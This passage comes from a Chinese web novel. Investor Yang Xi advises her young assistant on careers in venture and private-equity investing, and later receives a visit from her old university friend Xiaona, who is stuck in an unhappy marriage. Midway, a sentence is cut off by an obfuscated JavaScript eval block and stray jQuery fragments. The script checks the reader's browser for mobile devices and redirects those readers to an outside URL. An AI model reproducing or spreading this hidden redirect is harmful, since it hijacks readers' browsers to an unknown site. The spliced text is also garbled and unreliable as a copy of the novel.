“你在加拿大留学花了多少钱?”

    “很多。”

    “都是花家里的?”

    “我自己也出去工作。”

    这就对了,培养成本这么高,而尚锋给的薪水也就万把块,他还如此勤奋,知道讨好上司,应该是心里有点数的。

    杨希吃完,放下筷子,端正了姿势,平和地看着小助理,用很认真的语气说:“毕业后,你本来的打算是做什么?”

    小助理一愣,好像没听懂。

    杨希也觉得他没听懂,继续:“我挑明了说,尚锋天使轮投的都是早期项目,非常不适合没有经验的新手。投早期,看似门槛低,但对投资人的要求却非常综合,首先要会看人,看业务要有感觉,前期若没有经过专业系统的训练,很难找到关键并做出有理有据的判断。

    “你也看到了,公司接触的很多项目,没有资产,没有收入,没有现金流,有的只是三五个所谓的团队在那瞎鼓捣,而所谓的核心技术、产品和商业模式也很可疑,在这种比较混乱的初期摸索阶段,你在大学学的那些金融知识完全用不上。

    “说实话,你一个新人在这个行业里混日子,有点亏,你也听到了有些人是怎么称呼这个行业的:投机分子,资本流氓,只会锦上添花,不会雪中送炭——这不算污蔑,这个行业就是如此,鱼龙混杂,很多人玩的路子都很野,为了成功没有下限……也包括我。

    “总而言之,这个行业很复杂,成功很难,别说新人,就是行业老炮,一年两年也可能全部投输,残酷性超乎想象。而且这个行业也不容易锻炼新人,没个三五年是无法积累知识的,更别说挣到钱了。你平时挣得都是跑腿的辛苦费,没什么意思。

    “所以,你要好好想想,是否还要继续在这里浪费你宝贵的时光?”

    对面的小助理只是静静听着。

    也是看在他辛苦照顾自己的份上,杨希才肯这样掰开揉碎了讲:“别看大家平时都很忙,又是出差,又是背调,到处看路演,研究项目,加班加点写研报,其实接触的都是浮皮潦草的表面信息,不要被动不动就覆盖多少个行业、估值几千万、上亿的数据所迷惑…这对新手没什么好处。

    “人在这种环境中很容易养成浮躁不接地气的毛病,眼高手低,总觉得自己好像什么都懂了,其实根本就没有机会沉淀到某个行业具体运营中去理解这个行业的本质。混个几年,可能任何具体技能都学不到,还给忽悠得好高骛远,很难再回到一个具体行业里脚踏实事去做事情了。

    “所以,我建议,你若真喜欢做投资,不要从天使轮开始做,可以先去类似管理咨询平台接受一些基础性、系统性的商业知识和技能培训,等有了这个基础,再加入VC(风险投资),慢慢积累架构自己的投资方式和理念;

    “当然去PE(私募股权投资)也不错,PE投的多是B轮后,项目很成熟,成功率也高,有些建制完备的投资公司里,会有具体的分工,新手可以先在后台做一些具体的分析工作,像DD(DueDiligence尽职调查)和paperwork,然后慢慢再往上走,毕竟平台资源能带来很多项目,也能给新手带来相应的成长空间。

    “这样过几年才能真正积累一些经验。当然,一些上市公司的创投部也不错,有些会采取多元化经营,内部有轮岗制,新人会有机会接触到不同的层面,对将来的成长很有好处。”

    小助理还是安静地听着。

    “作为新人,要脚踏实地,不要和公司里其他新来的毕业生攀比,因为你不知道那些人都是什么背景,也许人家家里有矿,有人脉,他们进来只是开拓一下眼界,镀镀金,后面的路,早就铺设好了。

    “如果没有人为你铺路,如果你只能指望通过自己的奋斗来改变命运,就得务实一些。如果你愿意,我倒认识一些人,可以介绍你去我刚才提到的那些岗位,比在这里整天东奔西跑浪费时间强。”

    如果不是看在病情中他全力照顾自己的份上,怎么可能如此推心置腹地为他谋福利?一报还一报吧。他对自己还挺上心的,理应得到回报。

    但小助理却平静地说:“我想继续在尚锋做一段时间。”

    “也行。有你特别想去部门吗?尚锋不同的部门有不同的擅长赛道,硬科技类,像人工智能、机器人、数字经济、新能源、新材料等,虽然我也涉猎,但因为没有专业背景,不够擅长,只能用勤奋,以勤补拙。若你有特别喜欢的部门,或特别喜欢哪个投资人,我可以帮你进去。”

    尚锋内部不同的投资部门,各有擅长,如果他觉得别的部门更适合他,杨希觉得凭自己一张老脸,在唐总面前举荐一下,肯定能遂了他的愿。自己年轻时对上司巴心巴肺的付出,也是有所图的,图升职、图涨薪、图一个良机加快成长等,这都是年轻人应该有而不是被批评或抑制的野心。

    “我就想在你的部门。”这乖孩子说话时对着上司,腼腆一笑,眼睛里崩发的亮光,让杨希有点猝不及防。

    这是个越看越耐看的男孩子,有一张羞涩的少年脸,很恬静,没甚心机,看着就让人愉悦。

    平素要有这么一个小帅哥跟在自己身边侍侯,杨希觉得这样的日子还不错。这样的孩子,安稳有眼色,细心又殷勤,是很讨喜的。

    他虽在自己部门做不了什么,杨希还是觉得虚荣心得到了满足。

    这次深谈,也无形间拉近了两人之间的距离。以前杨希觉得他对自己好,只因自己是上司,能决定他的职业命运。谈话后,感觉小助理其实对投资行业并没多大的野心,好像很随性,就是在骑着驴找马。

    而且,好像他很欣赏自己。

    当然,欣赏自己的人多了。自己如此努力,走向高端,就是让人欣赏的。

    最后一周,杨希都觉得自己要长胖了,每天合胃口的饭菜定时供应,那感觉不要太好了。

    ***

    杨希在结束隔离的最后一天,家里迎来一位不速之客,不是心心念念最想指望的臭丫王一菲,而是顶着一头泡面卷,穿着十九块九包邮劣质棉衣裤的中年妇人。她低垂着眉眼,小心翼翼来敲门。

    杨希打开门,一看到她那张苍白面孔上,深刻印在眉心上的“川”字,就倍觉心堵。

    这就是常和一菲在背后念叨的小镇做题家于小娜,曾经的闺蜜三巨头之一,当初她可是高桌子矮板凳在小地方辛勤苦读十二年,以小县城高考状元的成绩,过五关斩六将才进入帝都某985大学的,并与杨希结成上下铺的革命友情。

    这么积极能干的女生,就因为当年自卑兼眼瞎,找了一个处处不如自己的男人,本想向下兼容过日子不受白眼,结果却进了深渊,多少年都被死死摁进

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641569|206442||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    令人窒息、泛着平庸之恶的婚姻里,得不到翻身。现在人刚到中年,就已眼里无光,一脸半死不活的黄脸婆相了。

    一想起那些陈年旧事,杨希就气不打一处来,恨其不争怒其不幸,当初你也是年年考高分、奖学金拿到手软的小镇做题家,你曾不甘人后的气势呢?怎么毕业了,智商也丢在学校了?

    “你怎么来了?”

    “来看看你,生病了也不告诉我一声,我来看看你是怎么吃饭的。”

    小娜轻言细语,提着一袋东西走了进来。进来就从袋子里往外掏东西,大枣、小甜瓜、波菜、香芹,还有肉蛋,摆了一地;和她的诚心一样,她是提着食材亲自来做饭的。以前大学睡下铺时,她就这么在宿舍里买菜做饭,尤其在杨希生病时,为此还被宿管阿姨收走一台酒精灯和两个电磁炉。

    杨希一向对做饭不甚热衷,经常糊弄一顿是一顿,还好一直有请钟点工。因为这次病情,怕连累别人,就把钟点工暂时辞退了,也早早叮嘱过一菲不要告诉小娜,当初三人是约定将来谁有个头疼脑热的,另两位要自觉前去照顾,尽量不要惊动大家的父母;也是体谅父母年纪大了,不容易。

    但自从小娜找了个半吊子老公,婚姻不如意后,杨希和一菲便自觉不去打扰她,何况近两年她生活得更加水深火热,搞不好真要离婚了。

    现在看着眼前这个愁眉深锁的女人,完全一幅被生活压榨打垮的形象,却是自己的大学同学,曾经的小城镇做题家,那人设可是学霸,就因遇人不淑,被生活洗礼成这个样子。

    “你和大城怎么样了?”

    大城是她老公,是这个城市的土著,越来越像胡同串子。

    “还那样。”

    小娜麻利地打开带来的保温杯,往碗里倒粥,看得见里面有红枣和各种黑豆红豆,很丰富,只有老母亲才会如此精心熬制的那种。要是粗心大意的一菲,估计就是抓一把东西随便一煮,或干脆到粥店去买。但小娜会亲自煮。她说过她的时间不值钱。

    杨希闻着粥的香味,觉得又要欠她一份人情了。其实不如欠小助理的人情好还。

    她想接着说:“日子过成这鸟样,不离还留着过年?”

    但没说,怕加深她的悲伤。

    同是好闺密,和王一菲在一起,就百无禁忌,什么都可以聊。但小娜不可以,生活不顺,人就容易陷入低自尊状态,特别敏感。

    “你家的事那么多,不用专门来看我。我病都好了,又不是大事。”

    “都住院了还不是大事?不是大事我也应该过来看看,你也应该早点告诉我,我坐车过来也方便。”小娜有些嗔怪。当年三人说好的将来互相照顾。

    “你儿子更需要你照顾,公婆又难伺侯,照顾好你自己就行了。”

    小娜把好看的小花卷一个个拿出来,“给我儿子蒸的,给你带来几个尝尝。”

    在她伸手递过来时,杨希看到她衣袖里胳膊上一片青紫,应该是又打架了。

    杨希当没看见。虽家家有本难念的经,但小娜家的经尤其难念,给她说了多少回了,男人不是东西,别惯着,惯出大爷的脾性就是给自己找气受。

    不知为什么,她就很难拿出当年做卷子考大学全县第一的劲头去驯服那个男人,最后却被对方驯化成一个怨妇了,真是白瞎了一个小镇做题家的心智。